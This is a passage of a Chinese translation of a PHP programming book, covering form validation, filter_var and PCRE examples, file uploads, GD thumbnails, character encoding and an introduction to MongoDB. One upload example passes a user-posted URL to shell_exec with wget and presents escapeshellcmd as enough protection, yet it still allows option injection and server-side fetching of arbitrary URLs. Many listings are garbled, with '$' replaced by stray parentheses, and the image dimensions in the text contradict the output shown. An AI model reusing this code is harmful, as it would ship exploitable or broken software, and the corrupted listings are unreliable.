函数来匹配文本框值和表达式。如果表达式匹配成功,则返回匹配字符串。如果不存在匹配,则返回null
。
我们将在清单 6-3 中定义search
函数,它将验证两个表单字段,然后在清单 6-4 中,我们将启动一个 AJAX 请求将表单值传递给一个 PHP 脚本。
清单 6-3。定义search
功能
function search(){ if(validate(document.getElementById('name'))![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) &&validate(document.getElementById('phone'))){ //build and execute AJAX request } }//save function
使用search
函数,首先通过调用validate
函数并传入元素属性来验证所需的参数。实际的表单提交是通过 AJAX 请求执行的。
如果姓名和电话文本框的值被验证,表单将请求 AJAX 提交一个类似于[
localhost/script7_1.php?name=john+smith&phone=(201) 443-3221](http://localhost/script7_1.php?name=john+smith&phone=(201)443-3221)
的 URL。我们现在可以开始构建 PHP 验证组件了。由于属性在 URL 中,我们可以通过手动调整 URL 中已知的异常和可接受的格式来测试不同的值。例如,我们使用以下 URL 测试 PHP 执行的名称验证:
http://localhost/script7_1.php?name=Shérri+smith&phone=(201) 443-3221 http://localhost/script7_1.php?name=john+o'neil&phone=(201) 443-3221 http://localhost/script7_1.php?name=john+(*#%_0&phone=(201) 443-3221
然后,我们可以使用下一组 URL 测试 PHP 执行的电话验证:
http://localhost/script7_1.php?name=john+smith&phone=2014433221 http://localhost/script7_1.php?name=john+smith&phone=john+smith http://localhost/script7_1.php?name=john+smith&phone=201 443-3221 ext 21
我们现在可以介绍清单 6-4 中的 PHP 验证代码。
清单 6-4。 PHP 验证
<?php $formData=array();//an array to house the submitted form data foreach($_GET as $key => $val){ $formData[$key]=htmlentities($val,ENT_QUOTES,'UTF-8'); } if(isset($formData['name'])&&isset($formData['phone'])){ $expressions=array('name'=>"/^[a-zA-Z\-]+ [a-zA-Z\-]+$/", 'phone'=>"/^((\(|\[)?\d{3}?(\]|\))?(\s|-)?)?\d{3}![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) (\s|-)?\d{4}$/" ); if(preg_match($expressions['name'],$formData['name'],$matches['name'])===1 &&![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) preg_match($expressions['phone'],$formData['phone'],$matches['phone'])===1){ /* code, do something with name and phone */ } } ?>
函数preg_match
接受一个正则表达式,后跟一个与表达式匹配的字符串,然后是一个填充了匹配结果的数组。
有几个方便的 PHP 扩展也有助于数据验证、净化和表达式匹配。数据过滤是清理和验证数据的一种良好且一致的方式。它包括几个用于验证客户端输入数据的常用函数。清单 6-5 通过过滤器库的 PHP filter_var
函数使用 URL 和电子邮件验证过滤器。通过向函数传递一个字符串以及 sanitize 过滤器或 validate 过滤器来使用filter_var
函数。sanitize 过滤器从字符串中删除不支持的字符,而 validate 过滤器确保字符串格式正确并包含正确的数据类型。
清单 6-5。PHPfilter_var
函数
`<?php
//string(15) "email@example.com"
var_dump(filter_var('email@example.com', FILTER_VALIDATE_EMAIL));
//string(18) "e.mail@exam.ple.ab"
var_dump(filter_var('e.mail@exam.ple.ab', FILTER_VALIDATE_EMAIL));
//string(20) "em-ail@example.co.uk"
var_dump(filter_var('em-ail@example.co.uk', FILTER_VALIDATE_EMAIL));
//bool(false)
var_dump(filter_var('www.domain@.com', FILTER_VALIDATE_EMAIL));
//bool(false)
var_dump(filter_var('email@domain', FILTER_VALIDATE_EMAIL));
//bool(false)
var_dump(filter_var('example.com', FILTER_VALIDATE_URL));
//bool(false)
var_dump(filter_var('www.example.com', FILTER_VALIDATE_URL));
//string(22) "http://www.example.com"
var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL));
//string(23) "http://www.e#xample.com"
var_dump(filter_var('http://www.e#xample.com', FILTER_VALIDATE_URL));
//bool(false)
var_dump(filter_var('www example com', FILTER_VALIDATE_URL));
//bool(false)
var_dump(filter_var('www.ex#ample.com', FILTER_VALIDATE_URL));
?>`
整理过滤器对于准备一致的数据很有用。他们也使用filter_var
功能。清单 6-6 使用 URL 和电子邮件验证过滤器。
清单 6-6。使数据与 URL 和电子邮件一致验证过滤器
`<?php
//string(15) "email@example.com"
var_dump(filter_var('email@example.com', FILTER_SANITIZE_EMAIL));
//string(17) "e.mail@exam.pl.ab"
var_dump(filter_var('e.mail@exam.plé.ab', FILTER_SANITIZE_EMAIL));
//string(20) "em-ail@example.co.uk"
var_dump(filter_var('em-ail@examp"le.co.uk', FILTER_SANITIZE_EMAIL));
//string(16) "www.dom!ain@.com"
var_dump(filter_var('www.dom!ain@.com', FILTER_SANITIZE_EMAIL));
//string(13) "email@do^main"
var_dump(filter_var('email@do^main', FILTER_SANITIZE_EMAIL));
//string(11) "example.com"
var_dump(filter_var('example.com', FILTER_SANITIZE_URL));
//string(15) "www.example.com"
var_dump(filter_var("\twww.example.com", FILTER_SANITIZE_URL));
//string(22) "http://www.example.com"
var_dump(filter_var('http://www.example.com', FILTER_SANITIZE_URL));
//string(23) "http://www.e#xample.com"
var_dump(filter_var('http://www.e#xample.com', FILTER_SANITIZE_URL));
//string(13) "wwwexamplecom"
var_dump(filter_var('www example com', FILTER_SANITIZE_URL));
?>`
Perl 兼容的正则表达式(PCRE)库也包括一些有用的函数,比如正则表达式find and replace
、grep
、match
和match all
,还有一个方便的find and replace using a callback
函数。
在清单 6-7 的中,我们将使用preg_match_all
函数来识别所有以大写字符开头,后面跟着小写字符的字符串。我们将使用var_export
函数将$matches
数组中匹配的结果转储到屏幕上。
清单 6-7。使用preg_match_all
功能
`<?php
\(str='A Ford car was seen at Super Clean car wash.'; preg_match_all('/[A-Z][a-z]+/',\)str,\(matches); var_export(\)matches);
/*
array (
0 =>
array (
0 => 'Ford',
1 => 'Super',
2 => 'Clean',
),
)
*/
?>`
在清单 6-7 中,preg_match_all
被传递了三个参数,正则表达式,匹配的字符串,以及包含匹配的数组。我们还可以传递一个标志来调整$matches
数组,并传递一个偏移量来从字符串中的某个字符位置开始,如清单 6-8 所示。
清单 6-8。调整$matches
阵列
`<?php
$str='A Ford car was seen at Super Clean car wash.';
preg_match_all('/[A-Z][a-z]+/',\(str,\)matches,PREG_PATTERN_ORDER,5);
var_export($matches);
preg_match_all('/[A-Z][a-z]+/',\(str,\)matches,PREG_SET_ORDER);
var_export(\(matches);`
`preg_match_all('/[A-Z][a-z]+/',\)str,\(matches,PREG_OFFSET_CAPTURE);
var_export(\)matches);
/*
// PREG_PATTERN_ORDER,5
array (
0 =>
array (
0 => 'Super',
1 => 'Clean',
),
)
// PREG_SET_ORDER
array (
0 =>
array (
0 => 'Ford',
),
1 =>
array (
0 => 'Super',
),
2 =>
array (
0 => 'Clean',
),
)
// PREG_OFFSET_CAPTURE
array (
0 =>
array (
0 =>
array (
0 => 'Ford',
1 => 2,
),
1 =>
array (
0 => 'Super',
1 => 23,
),
2 =>
array (
0 => 'Clean',
1 => 29,
),
),
)
*/
?>`
PCRE 库中的其他函数以非常相似的方式工作,对于数据验证、提取和操作相关的任务非常有用。
上传文件/图像
向服务器添加文档是一种常见的请求。文档通常位于远程计算机或服务器上,必须移动到托管服务器。这可以使用表单元素来完成。
在通过基于 web 的表单向服务器添加文件之前,最好检查一下 PHP 配置文件。它包含许多设置,这些设置直接影响表单的工作方式、能做什么、能做多少以及持续多长时间。在对上传和表单相关问题进行故障排除时,熟悉并了解这些配置设置非常重要。另一个常见问题是拥有适当的权限来访问接收服务器上的目录。
考虑清单 6-9 中的表单,它允许通过浏览/上传过程或者通过来自服务器的 URL 添加文档。在表单中,定义了一个新的表单属性enctype
,它定义了表单数据的编码方式。当表单使用二进制数据(在本例中为输入类型文件)时,这是必需的。
清单 6-9。定义enctype
属性
`
`如果没有在表单标签中定义,enctype
的默认值是application/x-www-form-urlencoded
,它将处理除文件上传和非 ASCII 数据之外的大多数输入类型。当网站用户提交这个表单时,两个不同的 PHP 超全局变量将包含数据:localfile
输入字段的$_FILES
和remoteurl
输入字段的$_POST
。$_FILES
将包含关于localfile
的元数据。$_FILES
包含的元数据如表 6-1 所示。
在将清单 6-9 中localfile
的文件移动到永久存储位置之前,最好确保该文件来自 HTTP POST。这可以使用函数is_uploaded_file()
来完成,它接受一个参数,临时文件名['tmp_name']
。上传后,要将文件移动到某个目录,可以使用move_uploaded_file()
函数,该函数接受两个参数,临时名称['tmp_name']
和目标名称。
对于输入远程 URL,我们可以使用几个选项从远程 URL 获取文件。通过 HTTP、HTTPS 和 FTP 下载文件的一种便捷方法是通过shell_exec
函数使用wget
(一个命令行实用程序),它执行一个 shell 命令并返回输出(如果有的话)。下载文档的其他方法包括 socket 相关的工具,如 fsocketopen 或 curl。可以使用以下语法下载文件:
shell_exec('wget '. escapeshellcmd($_POST['remoteurl']));
注意escapeshellcmd
功能的使用。这用于转义常用的恶意字符,以防止在服务器上执行任意命令。
图像转换和缩略图
在使用基于 web 的应用时,图像是一种常见的文件类型。这些可以用在照片图库、截图和幻灯片中。在上一节中,您学习了如何从浏览器上传表单或者通过命令行实用程序wget
结合shell_exec
向服务器添加文档。既然文件已经驻留在服务器上,我们就可以开始操作它们,使之适合其他应用所需的结构。
PHP 有一个叫做 GD 的图像库。它包含一个可以创建和操作图像的函数列表。我们将只触及那些调整大小和转换的一小部分。名为php_info()
的函数可以用来检查安装在服务器上的 GD 的版本。
创建缩略图时,我们将创建原始图像的 PNG 副本,宽度调整为 200 像素,高度将根据原始图像而变化。为了获得图像的大小,我们将使用函数getimagesize()
,该函数接受图像名称作为参数,并返回一个包含width
、height
和mime
的元数据数组。让我们考虑一下清单 6-10 。
清单 6-10。使用getimagesize()
功能
<?php $imgName='image.jpg'; $thumbName='thumb.png'; $metaData=getimagesize($imgName); $img='';
`\(newWidth=200;
\)newHeight=\(metaData[1]/(\)metaData[0]/$newWidth);
switch(\(metaData['mime']){
case 'image/jpeg':
\)img=imagecreatefromjpeg(\(imgName);
break;
case 'image/png':
\)img=imagecreatefrompng(\(imgName);
break;
case 'image/gif':
\)img=imagecreatefromgif(\(imgName);
break;
case 'image/wbmp':
\)img=imagecreatefromwbmp($imgName);
break;
}
if(\(img){
\)imgThumb=imagecreatetruecolor(\(newWidth,\)newHeight);
imagecopyresampled(\(imgThumb,\)img,0,0,0,0,\(newWidth,\)newHeight,\(metaData[0],\)metaData[1]);
imagepng($imgThumb, \(thumbName);
imagedestroy(\)imgThumb);
}
?>`
名为$metadata
的数组包含 MIME 类型以及原始图像的高度和宽度。这些信息将用于在 GD 中打开原始图像。我们现在可以为缩略图确定$newheight
的值。MIME 类型是通过 switch 语句发送的,因此我们可以处理不同类型的图像文件。imagecreatefromjpg
和类似的函数将打开原始图像并返回该图像的资源句柄。使用imagecreatetruecolor
创建具有定义宽度和高度的缩略图。当创建图像的副本时,imagecopyresampled
函数接受几个参数,缩略图的资源句柄,原始文件的资源句柄,目的点和源点的 x 和 y 值,新的宽度和高度,以及原始宽度和高度。缩略图是通过提供 thumb 资源和一个新文件名用imagepng
创建的。使用imagedestroy
函数并传递 thumb 资源,资源最终被销毁。
最终结果是我们想要的缩略图格式的 PNG 图像。在清单 6-11 中,显示了来自getimagesize()
的 image.jpg 和 thumb.png 的输出。
清单 6-11。image.jpg 和 thumb.png 从getimagesize()
输出
//image.jpg array ( 0 => 1600, 1 => 1200, 2 => 2, 3 => 'width="1600" height="1200"', 'bits' => 8,
'channels' => 3, 'mime' => 'image/jpeg', ) //thumb.png array ( 0 => 200, 1 => 150, 2 => 3, 3 => 'width="200" height="150"', 'bits' => 8, 'mime' => 'image/png', )
在图 6-1 中显示的缩略图是由清单 6-10 中的脚本创建的。原始图像是一个宽 1200 像素、高 900 像素的 JPEG,输出图像是一个宽 200 像素、高 150 像素的 PNG。
图 6-1。创建的缩略图清单 6-10
正则表达式
正则表达式对于描述文本中的模式很有用,可以用在 JavaScript、MySQL 和 PHP 中。在我们开始构建正则表达式(regex)之前,我们应该首先获得一个正则表达式编辑器。在 Windows 上,Regex Tester by antix.co.uk
是免费的,使用简单。还有许多其他可用的正则表达式编辑器,其中一些具有更多功能。然而,作为开始,Regex Tester 是一个很好的工具。
表 6-2 列出了 regex 中可用的字符及其各自的匹配。
在表 6-2 中,我们看到了常用的字符以及它们匹配的内容。在清单 6-7 和清单 6-8 中,使用了正则表达式[A-Z][a-z]+
。基于表 6-2 ,表达式现在可以读作:匹配一个大写字母字符一次[A-Z]
,后面跟着一个小写字母字符[a-z]
重复一次或多次+
。大小写字母 A 和 Z 之间使用的连字符被解释为 A 和 Z 之间的任何字符。连字符的另一个例子是[a-e]
,它匹配 A、b、c、d 和 e,但不匹配 f 或 g,或者使用数字[1-3]
,它匹配 1、2 或 3,但不匹配 4 或 5。表达式[A-Z][a-z]{4}
将匹配以大写字符开头的所有五个字母单词。
在 JavaScript 中,我们可以通过使用表 6-3 中定义的字符串方法match
、search
、replace
和split
将表达式应用于字符串。也可以使用RegExp
对象,它有compile
、exec
和test
方法,都在表 6-4 中定义。
在 PHP 中,我们可以使用 PCRE 函数将正则表达式应用于字符串,并执行各种函数(表 6-5 )..
正如这些使用 PHP 和 JavaScript 的例子所示,正则表达式非常有用,是执行简单和复杂数据操作的好工具。表达式也可以在 MySQL 中用来执行复杂的搜索。例如,查询可以是"select * from contacts where civics regexp '[0-9]{5}'"
,它将返回在 civics 列中包含有效的 5 位邮政编码(或者任何其他 5 位数字)的所有记录。
多语言集成
当查看预期以某种方式输出的数据时,总是令人惊讶,您会遇到那些看起来奇怪的 A 或问号或其他奇怪的字符嵌套在应该是干净的数据中。大多数情况下,这是某种编码错误的结果。无论是来自表单、CSV 文件还是从文档中提取的文本,输入数据的脚本都不期望某些特定字符集之外的字符,可能是 ISO-8859-1 或 UTF-8。
注ISO-8859-1(Latin-1)字符集包含 8 位单字节 ASCII 编码图形字符集,包括标准和扩展 ASCII 字符(0-255)。UTF 8 字符集是 unicode 的多字节字符编码,包含 ISO-8859-1 中的字符,包括带有音调符号的字符。
当您遇到编码问题时,有一些事情需要观察和识别。数据的来源很重要,如果是来自网页,最好确认定义了正确的内容类型。这可以在 XHTML 的 HEAD 部分找到。如果我们将内容类型设置为 UTF-8,它将如下所示:
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
数据库可能是编码问题的另一个来源。创建 MySQL 数据库时,会设置一个排序规则。表和行也是如此。如果在数据库不期望的时候提供了 UTF-8 字符,则该字符在存储时可能会被误传。如果我们接受 MySQL 的 UTF-8 字符,排序规则可能是utf8_general_ci
(不区分大小写)或者utf8_unicode_ci
。我们还可以在建立数据库连接后,通过执行查询'set names utf8'
来请求 MySQL 采用 UTF-8 字符集。
最后,PHP 代码可能无法正确识别字符串的正确编码。有几个函数和库可以帮助解决编码问题,还有一些标志可以采用特定的字符集。函数utf8_encode()
将把一个 ISO-88591 字符串编码成 UTF-8。将某种字符编码转换成另一种编码的另一个有用的函数是使用mb_convert_encoding()
函数,它接受一个字符串、to 编码类型和 from 编码类型。'mb_*'
函数来自多字节字符串函数库,包含许多不同的多字节字符函数,比如mb_substr
(获取字符串的一部分)、mb_strlen
(获取字符串的长度),或者mb_eregi_replace
(regex find replace)。某些 PHP 函数也接受charset
标志。例如,当使用htmlentities()
时,我们可以传递一个标志来指定 UTF-8 字符集htmlentities($str,ENT_QUOTES,'UTF-8')
。
除了 MB 函数,PHP 提供的人类语言和字符编码支持中还有iconv
模块。iconv
函数,特别是iconv()
函数会将字符串转换成定义的字符编码。通过使用函数iconv("UTF-8","ISO-8859-1//IGNORE//TRANSLIT",$str)
,我们可以将一个 UTF-8 字符串转换成它的 ISO-8859-1 等价物。//IGNORE
和//TRANSLIT
标志用于指定如何处理不可转换的字符。IGNORE
标志无声地删除未知字符和所有后续字符,其中TRANSLIT
将尝试猜测要转换成的正确字符。
总结
在设计和编写基于 web 的表单时,有许多问题需要记住,比如数据验证、维护数据完整性和操作文件(包括图像)。在本章中,我们向您展示了一系列解决这些问题的技术,并辅以合适的代码示例和参考信息。您可以在客户端使用 JavaScript 验证输入数据,也可以在服务器端使用 PHP 验证输入数据。这些方法是互补的,因为客户端验证侧重于确保用户输入可接受的数据,而服务器端验证更多地着眼于维护数据库的完整性和一致性。
没有一个真正的开发人员能够放弃正则表达式(regex ),所以我们在本书的上下文中提供了一个简短的介绍。Regex 可以在许多情况下用于查找、匹配、拆分和替换字符串或部分字符串;我们在 JavaScript 和 PHP 中都提供了这种类型的简单示例。最后但同样重要的是,关于多语言集成的最后一个简短部分强调了确保数据以预期和可接受的格式传输的重要性。
在下一章,我们将研究 PHP 与传统关系数据库之外的数据库的集成;例如 SQLite3、MongoDB 和 CouchDB。
七、数据库集成 I
在这一章中,我们将主要讨论 NoSQL 数据库。NoSQL 数据库中最受欢迎的是 MongoDB、CouchDB、Google Big Table 和 Cassandra,但还有其他一些。顾名思义,NoSQL 数据库不是经典的 SQL 数据库,并且不实现 ACID 属性。ACID 代表原子性、一致性、隔离性和持久性,这些都是 RDBMS(关系数据库管理系统)事务的传统特征。
NoSQL 数据库没有事务管理层、提交或回滚事务的能力。它们也是无模式的,这意味着它们不符合传统的模式-表-列模式。它们拥有集合,而不是表格,集合不同于表格,因为它们可以保存各种行或文档,正如 NoSQL 数据库所称的那样。行和文档的区别在于,行有固定的结构,由关系模式定义,而文档没有。此外,NoSQL 数据库不存储传统意义上的行;他们储存文件。在 JSON (JavaScript 对象符号)符号中,文档被描述为对象。
下面是一个 JSON 文档的例子:
var= { "key1":"value1", "key2": { "key3":"value3" }, "key4":["a1","a2","a3"...], … }
这种格式是为缩短冗长的 XML 描述而开发的许多格式之一。NoSQL 数据库大多使用 JavaScript 作为内部数据库语言,并结合 JSON 对象符号用于文档操作。创建 NoSQL 数据库有两个目的:
- 原始性能和可扩展性
- 低管理费用
通常,在单个集合中进行搜索的速度非常快,但是没有连接。换句话说,连接被委托给应用。这一速度是通过使用谷歌专利的 map-reduce 算法实现的,该算法使 NoSQL 数据库在松散耦合的集群系统上高度可伸缩和可用。谷歌的算法使这些数据库能够有效地在几台除了网络连接之外不共享任何东西的机器之间分配工作。
这些数据库非常新。它们在 2009 年开始使用,并且没有标准来管理它们用来访问数据库信息的方言。通常,它们有以下命令,实现为对其 API(应用编程接口)的调用:insert、find、findOne、update 和 delete。每个调用的确切语法和可用选项因数据库而异。此外,Cake 或 Symfony 等应用生成器没有经过绝大多数数据库的良好测试,这使得应用开发变得更加困难。
让我们暂时回到酸的要求。它们如下:
- 每个事务作为一个整体成功或失败。如果事务失败,数据库的状态必须如同事务从未发生过一样(原子性)。
- 每个事务必须只能看到在事务开始之前提交的数据(一致性)。
- 在提交更改之前,用户看不到彼此的更改(隔离)。
- 一旦提交,更改将是永久的。特别是,即使数据库系统崩溃,更改也不能丢失(持久性)。
所有主要的关系数据库都遵循 ACID 要求,并模仿银行业务。关系数据库管理系统(RDBMS)世界中的数据库事务是模仿现实世界中的金融事务而建模的。以上都适用于用支票付账。如果有足够的资金,交易将更新付款人和收款人的银行账户;没有足够的资金,两个帐户都不会更新。每笔交易只能看到开始时银行账户的状态。其他用户的交易对彼此没有影响,一旦付款,就应该有永久记录。不遵守 ACID 规则会使 NoSQL 数据库不适合金融交易或任何其他具有类似需求的业务流程。此外,NoSQL 数据库的无模式特性使得它们很难与 Hibernate 这样的对象关系映射器一起使用,这会降低应用的开发速度。NoSQL 数据库最适合大型数据仓库类型的数据库,因为它们的速度和可伸缩性而大放异彩。当然,正如我之前所说的,这些数据库非常新,所以人们应该期待在调试方面的冒险。
MongoDB 简介
MongoDB 是 NoSQL 数据库中最受欢迎的,因为它易于安装,速度快,支持的特性多。为 MongoDB 安装 PHP 接口非常容易,尤其是在 Unix 或 Linux 上。一个只是执行pecl install mongo
。结果如下所示:
pecl install mongo downloading mongo-1.1.3.tgz ... Starting to download mongo-1.1.3.tgz (68,561 bytes) ................done: 68,561 bytes 18 source files, building running: phpize Configuring for: PHP Api Version: 20041225 Zend Module Api No: 20060613 Zend Extension Api No: 220060519 building in /var/tmp/pear-build-root/mongo-1.1.3
…............................. (a lot of compilation messages) Build process completed successfully Installing '/usr/lib/php5/20060613+lfs/mongo.so' install ok: channel://pecl.php.net/mongo-1.1.3 configuration option "php_ini" is not set to php.ini location You should add "extension=mongo.so" to php.ini
安装完成。对于 MS Windows,这甚至更容易,因为已经链接的副本可以从[www.mongodb.org](http://www.mongodb.org)
下载。所有需要做的就是把它放到正确的位置并更新 php.ini 文件。
一旦这样做了,我们就有一大堆的类供我们使用。MongoDB 不遵循 SQL 标准,所以它的数据类型有点不同。每个 MongoDB 数据类型都被定义为一个 PHP 类。MongoDB 类的参考信息可以在 PHP 网站上的[
us3.php.net/manual/en/book.mongo.php](http://us3.php.net/manual/en/book.mongo.php)
找到。除了数据类型,还有描述连接、集合、游标和异常的类。集合大致类似于 RDBMS 世界中的表。NoSQL 集合是文档的命名集合,不一定具有相同的结构。如果需要,可以对集合进行索引或分区(“分片”)。集合包含在名为“数据库”的物理对象中,这些对象被实现为数据库文件的集合。如果数据库或集合在插入时不存在,则会自动创建它们。这是一个完全空的 MongoDB 安装在 MongoDB 命令行 shell mongo
中的样子:
`mongo
MongoDB shell version: 1.6.5
connecting to: test
show dbs
admin
local
`
show dbs
命令将向我们显示可用的数据库。
这本书是关于 PHP 语言的,而不是关于 MongoDB 的,所以我不会详细介绍如何使用 MongoDB 的命令行界面。网上有很多 MongoDB 教程。最好最全的大概就是 MongoDB 网站本身的那个了。
现在,让我们看看第一个 PHP 脚本,它将创建一个名为“scott”的数据库和一个名为“emp”的集合。然后,该集合将由 14 行填充。该合集描述了一家小公司的员工。见清单 7-1 。
清单 7-1。 PHP 脚本将创建一个名为“scott”的数据库和一个名为“emp”的集合
`<?php
\(host = 'localhost:27017';
\)dbname = 'scott';
$colname = "emp";
\(EMP = array(
array("empno" => 7369, "ename" => "SMITH", "job" => "CLERK",
"mgr" => 7902,"hiredate" => "17-DEC-80", "sal" => 800,
"deptno" => 20),` ` array("empno" => 7499, "ename" => "ALLEN", "job" => "SALESMAN",
"mgr" => 7698, "hiredate" => "20-FEB-81", "sal" => 1600,
"comm" => 300,"deptno"=>30),
array("empno"=>7521,"ename"=>"WARD","job"=>"SALESMAN","mgr"=>7698,
"hiredate"=>"22-FEB-81","sal"=>1250,"comm"=>500, "deptno" => 30),
array("empno" => 7566, "ename" => "JONES", "job" => "MANAGER",
"mgr" => 7839, "hiredate" => "02-APR-81", "sal" => 2975,
"deptno" => 20),
array("empno" => 7654, "ename" => "MARTIN", "job" => "SALESMAN",
"mgr" => 7698, "hiredate" => "28-SEP-81", "sal" => 1250,
"comm" => 1400,"deptno"=>30),
array("empno"=>7698,"ename"=>"BLAKE","job"=>"MANAGER","mgr"=>7839,
"hiredate"=>"01-MAY-81","sal"=>2850,"deptno"=>30),
array("empno"=>7782,"ename"=>"CLARK","job"=>"MANAGER","mgr"=>7839,
"hiredate"=>"09-JUN-81","sal"=>2450,"deptno"=>10),
array("empno"=>7788,"ename"=>"SCOTT","job"=>"ANALYST","mgr"=>7566,
"hiredate"=>"19-APR-87","sal"=>3000,"deptno"=>20),
array("empno"=>7839,"ename"=>"KING","job"=>"PRESIDENT",
"hiredate" => "17-NOV-81", "sal" => 5000, "deptno" => 10),
array("empno" => 7844, "ename" => "TURNER", "job" => "SALESMAN",
"mgr" => 7698, "hiredate" => "08-SEP-81", "sal" => 1500,
"comm" => 0,"deptno"=>30),
array("empno"=>7876,"ename"=>"ADAMS","job"=>"CLERK","mgr"=>7788,
"hiredate"=>"23-MAY-87","sal"=>1100,"deptno"=>20),
array("empno"=>7900,"ename"=>"JAMES","job"=>"CLERK","mgr"=>7698,
"hiredate"=>"03-DEC-81","sal"=>950,"deptno"=>30),
array("empno"=>7902,"ename"=>"FORD","job"=>"ANALYST","mgr"=>7566,
"hiredate"=>"03-DEC-81","sal"=>3000,"deptno"=>20),
array("empno"=>7934,"ename"=>"MILLER","job"=>"CLERK","mgr"=>7782,
"hiredate"=>"23-JAN-82","sal"=>1300,"deptno"=>10));
try {
\)conn=new Mongo(\(host);
\)db=\(conn->selectDB(\)dbname);
\(coll=\)conn->selectCollection(\(dbname,\)colname);
foreach ($EMP as \(emp) {
\)coll->insert($emp, array('safe'=>true));
}
}
catch(MongoException \(e) {
print "Exception:\n";
die(\)e->getMessage()."\n");
}
?>`
代码的结构非常简单。该代码定义了要连接的主机名和端口(localhost:27017)、数据库名(“scott”)和集合名(“emp”)。
注意没有用户名和密码,尽管可以定义它们。最初,该安装对任何想要访问它的人都是完全开放的。但是,可以保护它并要求用户和密码验证。
数组$EMP
定义了这家小公司的所有雇员。该数组将嵌套数组作为元素,因为 MongoDB 文档由 PHP 关联数组表示。请注意,数组属性不是同质的;有些元素有comm
属性,有些没有。另外,雇员“国王”没有mgr
属性。不需要空值、空属性或其他占位符。MongoDB 集合可以存储异构元素。当第一次插入完成时,将创建数据库和集合。了解具体发生了什么的最佳地方是 MongoDB 日志文件。其位置取决于安装。在 Linux 上,它通常驻留在主 MongoDB 目录的“log”子目录中。下面是上面的脚本运行时 MongoDB 日志文件中显示的内容:
Thu Jan 6 16:15:35 [initandlisten] connection accepted from 127.0.0.1:29427 #3 Thu Jan 6 16:15:35 allocating new datafile /data/db/scott.ns, filling with zeroes... Thu Jan 6 16:15:35 done allocating datafile /data/db/scott.ns, size: 16MB, took 0 secs Thu Jan 6 16:15:35 allocating new datafile /data/db/scott.0, filling with zeroes... Thu Jan 6 16:15:35 done allocating datafile /data/db/scott.0, size: 64MB, took 0 secs Thu Jan 6 16:15:35 allocating new datafile /data/db/scott.1, filling with zeroes... Thu Jan 6 16:15:35 done allocating datafile /data/db/scott.1, size: 128MB, took 0 secs Thu Jan 6 16:15:35 [conn3] building new index on { _id: 1 } for scott.emp Thu Jan 6 16:15:35 [conn3] done for 0 records 0.001secs Thu Jan 6 16:15:35 [conn3] end connection 127.0.0.1:29427
从输出中可以看到,我们的 MongoDB 安装现在有了一个新的数据库。做那件事不需要特权。MongoDB shell 现在显示了一个不同的画面:
`> show dbs
admin
local
scott
use scott
switched to db scott
show collections
emp
system.indexes
`
“scott”数据库现在出现在输出中,show collections
命令显示名为emp
的集合。让我们看看 shell 还能做些什么:
`> db.emp.ensureIndex({empno:1},{unique:true});
db.emp.ensureIndex({ename:1});
db.emp.count();
14`
这三个命令将在empno
属性上创建一个惟一索引,这将防止两行具有相同的empno
属性值,在ename
属性上创建一个非惟一索引,并对我们的emp
集合中的文档进行计数。我们在emp
集合中有 14 个文档,而不是 14 行。请记住,在 NoSQL 数据库的情况下,我们讨论的是文档,而不是行。
`> db.emp.find({ename:"KING"});
{ "_id" : ObjectId("4d2630f7da50c38237000008"), "empno" : 7839, "ename" : "KING", "job" :
"PRESIDENT", "hiredate" : "17-NOV-81", "sal" : 5000, "deptno" : 10 }
`
这里我们实际上已经寻找了属性等于“KING”的ename
文档,MongoDB 已经向我们返回了具有所需属性的文档。注意结果中的_id
属性,它不存在于原始的$EMP
数组中。这就是 object id
,由 MongoDB 分配给数据库中的每个文档,并保证在整个安装中是惟一的,而不仅仅是在单个数据库中。它可用于搜索特定文档:
> db.emp.find({"_id":ObjectId("4d2630f7da50c3823700000d")}); { "_id" : ObjectId("4d2630f7da50c3823700000d"), "empno" : 7934, "ename" : "MILLER",![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) "job" : "CLERK", "mgr" : 7782, "hiredate" : "23-JAN-82", "sal" : 1300, "deptno" : 10 }
最后,让我们看看集合中的所有文档:
> db.emp.find(); { "_id" : ObjectId("4d2630f7da50c38237000000"), "empno" : 7369, "ename" : "SMITH",![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) "job" : "CLERK", "mgr" : 7902, "hiredate" : "17-DEC-80", "sal" : 800, "deptno" : 20 } { "_id" : ObjectId("4d2630f7da50c38237000001"), "empno" : 7499, "ename" : "ALLEN",![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) "job" : "SALESMAN", "mgr" : 7698, "hiredate" : "20-FEB-81", "sal" : 1600, "comm" : 300,![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) "deptno" : 30 } { "_id" : ObjectId("4d2630f7da50c38237000002"), "empno" : 7521, "ename" : "WARD",![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) "job" : "SALESMAN", "mgr" : 7698, "hiredate" : "22-FEB-81", "sal" : 1250, "comm" : 500,![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) "deptno" : 30 } { "_id" : ObjectId("4d2630f7da50c38237000003"), "empno" : 7566, "ename" : "JONES",![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) "job" : "MANAGER", "mgr" : 7839, "hiredate" : "02-APR-81", "sal" : 2975, "deptno" : 20 } { "_id" : ObjectId("4d2630f7da50c38237000004"), "empno" : 7654, "ename" : "MARTIN",![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) "job" : "SALESMAN", "mgr" : 7698, "hiredate" : "28-SEP-81", "sal" : 1250, "comm" : 1400,v "deptno" : 30 }
